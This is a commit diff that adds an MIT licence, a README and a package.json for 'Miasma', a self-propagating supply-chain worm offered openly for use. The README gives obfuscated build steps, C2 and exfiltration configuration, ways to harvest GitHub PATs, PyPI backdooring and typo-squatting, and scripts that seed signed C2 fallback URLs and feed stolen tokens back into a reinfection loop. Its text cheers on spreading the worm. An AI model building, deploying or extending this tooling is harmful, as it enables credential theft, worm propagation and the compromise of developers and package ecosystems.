Upload files to "/"
This commit is contained in:
@@ -1,18 +1,19 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 shai_hulud
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and
|
||||
associated documentation files (the "Software"), to deal in the Software without restriction, including
|
||||
without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the
|
||||
following conditions:
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial
|
||||
portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
|
||||
LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
|
||||
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
|
||||
USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
@@ -1,3 +1,191 @@
|
||||
# Miasma
|
||||
# Miasma - Let The Spread Continue
|
||||
|
||||
Miasma - Let The Spread Continue
|
||||
## Open Source Release
|
||||
In the spirit of TeamPCP open-sourcing Shai-Hulud, we're giving back too. Here's Miasma.
|
||||
|
||||
We're onto new things, but this worm still fucks. One PAT, one `node bundle.js`, and you're off to the races.
|
||||
|
||||
Have a PAT? Unleash a worm.
|
||||
Getting fired? Unleash a worm.
|
||||
Got mogged? Unleash a worm.
|
||||
|
||||
We don't ask why. We just like to see it spread. MIT licensed, as always.
|
||||
|
||||
## Setup
|
||||
|
||||
### Install & Build
|
||||
|
||||
```bash
|
||||
bun install
|
||||
bun run build # development bundle
|
||||
bun run build:obf # obfuscated production bundle
|
||||
```
|
||||
|
||||
### Keys You Must Replace
|
||||
|
||||
Three RSA-4096 public keys ship with the worm. **You must generate your own
|
||||
key pairs and replace them before building.** The private keys never ship —
|
||||
you hold them for decryption and C2 seeding.
|
||||
|
||||
| Key File | Used By | Purpose | Matching Private Key Needed For |
|
||||
|---|---|---|---|
|
||||
| `src/assets/enc_key.pub` | `src/sender/base.ts` | Encrypts all exfiltrated data (AES-256-GCM key wrapped in RSA-OAEP-SHA256) | `scripts/decrypt.ts` — decrypt stolen envelopes |
|
||||
| `src/assets/verify_key.pub` | `src/sender/domain/domainSenderFactory.ts` | Verifies RSA-PSS-SHA256 signatures on `firedalazer` commit messages to discover backup C2 domains | `utility_scripts/commit_signer.py` — sign C2 fallback URLs |
|
||||
|
||||
**Generate RSA-4096 keys:**
|
||||
|
||||
```bash
|
||||
# enc_key — for data encryption (PKCS#8 PEM)
|
||||
openssl genpkey -algorithm RSA -out enc_private.pem -pkeyopt rsa_keygen_bits:4096
|
||||
openssl rsa -pubout -in enc_private.pem -out src/assets/enc_key.pub
|
||||
|
||||
# verify_key — for firedalazer C2 signatures
|
||||
openssl genpkey -algorithm RSA -out verify_private.pem -pkeyopt rsa_keygen_bits:4096
|
||||
openssl rsa -pubout -in verify_private.pem -out src/assets/verify_key.pub
|
||||
```
|
||||
|
||||
### Config Values (`src/utils/config.ts`)
|
||||
|
||||
All sensitive strings are wrapped in `scramble()` — they're obfuscated at
|
||||
build time, not present as plaintext in the bundle. Change the *inner*
|
||||
string literals to your own values.
|
||||
|
||||
| Constant | Default (scrambled) | What It Controls |
|
||||
|---|---|---|
|
||||
| `SEND_URL` | `api.anthropic.com` | Primary C2 domain for exfiltration (HTTPS POST) |
|
||||
| `PATH` | `v1/api` | URL path appended to C2 domain (e.g. `https://<SEND_URL>/<PATH>`) |
|
||||
| `SEARCH_STRING` | `DontRevokeOrItGoesBoom` | GitHub code search string used by the GH sender factory to find PATs stashed in commits |
|
||||
| `C2_SEARCH_STRING` | `TheBeautifulSandsOfTime` | Additional commit search term for C2 discovery |
|
||||
| `DOMAIN_FALLBACK_SEARCH` | `thebeautifulmarchoftime` | Prefix searched in commit messages to find `firedalazer` signed C2 fallback URLs |
|
||||
| `TOKEN_AES_KEY` | `bd8035...8eb49` (256-bit hex) | AES-256 key used to encrypt PATs stored in GitHub repos |
|
||||
| `SCRIPT_NAME` | `index.js` | Filename the worm expects at runtime (passed to `bun run`) |
|
||||
|
||||
> **Note:** Domain sending (`DomainSender`) is currently stripped from the
|
||||
> sender chain in the open-source release. It can be easily added back — the
|
||||
> code lives in `src/sender/domain/`, `SEND_URL` and `PATH` are already wired
|
||||
> above, and `src/orchestrator/senders.ts` has a commented-out hook for it.
|
||||
|
||||
**Runtime env vars** (not in config.ts, but control behavior at execution):
|
||||
|
||||
| Variable | Effect |
|
||||
|---|---|
|
||||
| `SKIP_DOMAIN` | Bypass the primary C2 domain sender |
|
||||
| `GITHUB_TOKEN` / `GITHUB_TOKEN2` | PATs the worm harvests and uses for propagation |
|
||||
| `GITHUB_REPOSITORY` | Repo context for branch/repo mutators |
|
||||
| `OIDC_PACKAGES` / `TARGET_PACKAGES` | Package lists for PyPI OIDC / typo-squatting |
|
||||
| `TYPO_MODE` | Set to `1` to enable typo-squatting mode |
|
||||
|
||||
## Deployment
|
||||
|
||||
|
||||
|
||||
## Utility Scripts
|
||||
|
||||
The `utility_scripts/` directory contains standalone Python tools for
|
||||
orchestration, C2 fallback seeding, and reinfection infrastructure.
|
||||
All scripts require a GitHub PAT with `repo` or `workflow` (for reinfection) scope.
|
||||
|
||||
### `commit_signer.py` — firedalazer C2 Fallback Seeder
|
||||
|
||||
Generates cryptographically signed commit messages that the worm discovers
|
||||
as backup C2 domains. The worm's `DomainSenderFactory` searches GitHub commits
|
||||
for the `firedalazer` keyword, verifies the RSA signature against
|
||||
`verify_key.pub`, and extracts the URL — providing resilient C2 fallback when
|
||||
the primary domain is unavailable.
|
||||
|
||||
```bash
|
||||
# Generate a signed commit message and create a public repo
|
||||
python3 utility_scripts/commit_signer.py \
|
||||
--url "https://your-c2.example.com/payload" \
|
||||
--key private.pem \
|
||||
--prefix "Update" \
|
||||
--pat ghp_xxx
|
||||
```
|
||||
|
||||
- `--url` — The backup C2 URL to sign and embed
|
||||
- `--key` — RSA private key PEM file (must match the `verify_key.pub` baked into the worm)
|
||||
- `--keypair` — Alternative: RSA keypair JSON from a build (`rsa_keypair.json`)
|
||||
- `--prefix` — Optional human-readable commit message prefix
|
||||
- `--pat` — If provided, creates a public repo with a Dune-themed name and pushes an orphan commit containing the signed message
|
||||
|
||||
**How it works:** The commit message contains `firedalazer <url_b64>.<signature_b64>`.
|
||||
The worm's sender factory searches for commits matching this pattern, verifies
|
||||
the RSA-PSS-SHA256 signature, and uses the decoded URL as a fallback C2 transport.
|
||||
|
||||
### `create_payload_repo.py` — Token-Fed Reinfection Repo
|
||||
|
||||
Creates a private GitHub repository preloaded with an encrypted payload and
|
||||
a `workflow_dispatch` trigger. PATs stored as Actions secrets are injected as
|
||||
`GITHUB_TOKEN2` at runtime — the worm picks them up and uses them for
|
||||
propagation. This is the primary mechanism for feeding fresh tokens back into
|
||||
the infection chain.
|
||||
|
||||
```bash
|
||||
python3 utility_scripts/create_payload_repo.py \
|
||||
--orchestartor-pat ghp_admin \
|
||||
--repo my-org/payload-silo \
|
||||
--js-path ./dist/bundle.js \
|
||||
--pats ghp_aaa,ghp_bbb,ghp_ccc \
|
||||
--passphrase my-secret
|
||||
```
|
||||
|
||||
- `--orchestartor-pat` — PAT used to create the repo and push commits
|
||||
- `--repo` — Target `owner/name` (a random suffix is appended)
|
||||
- `--js-path` — Path to the built worm bundle (`dist/bundle.js`)
|
||||
- `--pats` — Comma-separated PATs to inject, or path to a file (one per line)
|
||||
- `--passphrase` — AES-256-CBC passphrase for payload encryption (auto-generated if omitted)
|
||||
- `--packages` — Comma-separated PyPI packages to backdoor (sets `PACKAGES` env)
|
||||
- `--pypi-typos` — Comma-separated packages to typo-squat (sets `TYPO_MODE=1`)
|
||||
|
||||
**Workflow:**
|
||||
1. Creates a private GitHub repo
|
||||
2. Encrypts the worm bundle with AES-256-CBC (openssl-compatible)
|
||||
3. Pushes `index.js` and `.github/workflows/run.yml`
|
||||
4. Stores PATs, passphrase, and package targets as Actions secrets
|
||||
5. Dispatches the workflow — the runner decrypts and executes the worm
|
||||
6. Waits 10s for the workflow to pick up secrets, then deletes them
|
||||
|
||||
### `orphan-commit.py` — Orphan Commit Creator
|
||||
|
||||
Creates an orphan commit (no parent, no branch) containing a single file.
|
||||
A temporary tag is created and immediately deleted — the creation event
|
||||
persists in GitHub's audit log so commit-monitoring tools and the worm's
|
||||
signed-commit search will discover it, but no trace remains on the repo.
|
||||
|
||||
```bash
|
||||
python3 utility_scripts/orphan-commit.py ghp_xxx my-org/my-repo ./payload.bin "init"
|
||||
```
|
||||
|
||||
Arguments (positional):
|
||||
1. GitHub PAT
|
||||
2. `owner/repo`
|
||||
3. Path to the file to embed
|
||||
4. Commit message (optional, defaults to `"init"`)
|
||||
|
||||
Outputs the raw.githubusercontent.com URL of the committed file.
|
||||
|
||||
---
|
||||
|
||||
## Integration
|
||||
|
||||
These tools compose with the build pipeline to form a complete reinfection
|
||||
loop:
|
||||
|
||||
```
|
||||
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
||||
│ commit_signer │────▶│ Worm discovers C2 URL │────▶│ Exfiltration + │
|
||||
│ (seed C2 URLs) │ │ via firedalazer search│ │ propagation │
|
||||
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────┐ ┌──────────────────────┐ ┌──────────────────┐
|
||||
│ orphan-commit │◀────│ Commit monitoring │◀────│ Tokens harvested │
|
||||
│ (deliver files) │ │ / signed commit search│ │ from victims │
|
||||
└─────────────────┘ └──────────────────────┘ └────────┬─────────┘
|
||||
│
|
||||
▼
|
||||
┌──────────────────────────┐
|
||||
│ create_payload_repo │
|
||||
│ (feed tokens → reinfect) │
|
||||
└──────────────────────────┘
|
||||
```
|
||||
|
||||
Generated
+3464
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"name": "voicefromtheouterworld",
|
||||
"module": "index.ts",
|
||||
"type": "module",
|
||||
"private": true,
|
||||
"scripts": {
|
||||
"prebuild": "bun run scripts/pack-assets.ts",
|
||||
"build": "bun run scripts/build.ts",
|
||||
"build:obf": "bun run build && bun scripts/obfuscate.js",
|
||||
"build:obfplus": "bun run build:obf && bun scripts/obfplus-wrap.js",
|
||||
"build:cli": "bun run scripts/build-cli.ts",
|
||||
"build:cli:obf": "bun run build:cli && bun scripts/obfuscate.js dist-cli",
|
||||
"cli:list": "ls src/cli/*.ts | xargs -I{} basename {} .ts",
|
||||
"typecheck": "tsc --noEmit",
|
||||
"test": "bun test",
|
||||
"start": "bun run ./src/index.ts",
|
||||
"lint:fix": "eslint --fix ."
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/bun": "latest",
|
||||
"@types/node": "^25.0.3",
|
||||
"@typescript-eslint/parser": "^8.59.0",
|
||||
"bun-types": "^1.3.12",
|
||||
"eslint-plugin-simple-import-sort": "^13.0.0",
|
||||
"javascript-obfuscator": "^5.4.1",
|
||||
"vitest": "^4.1.5"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"typescript": "^5.9.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@types/tar-stream": "^3.1.4",
|
||||
"fflate": "^0.8.2",
|
||||
"tar": "7.5.13"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user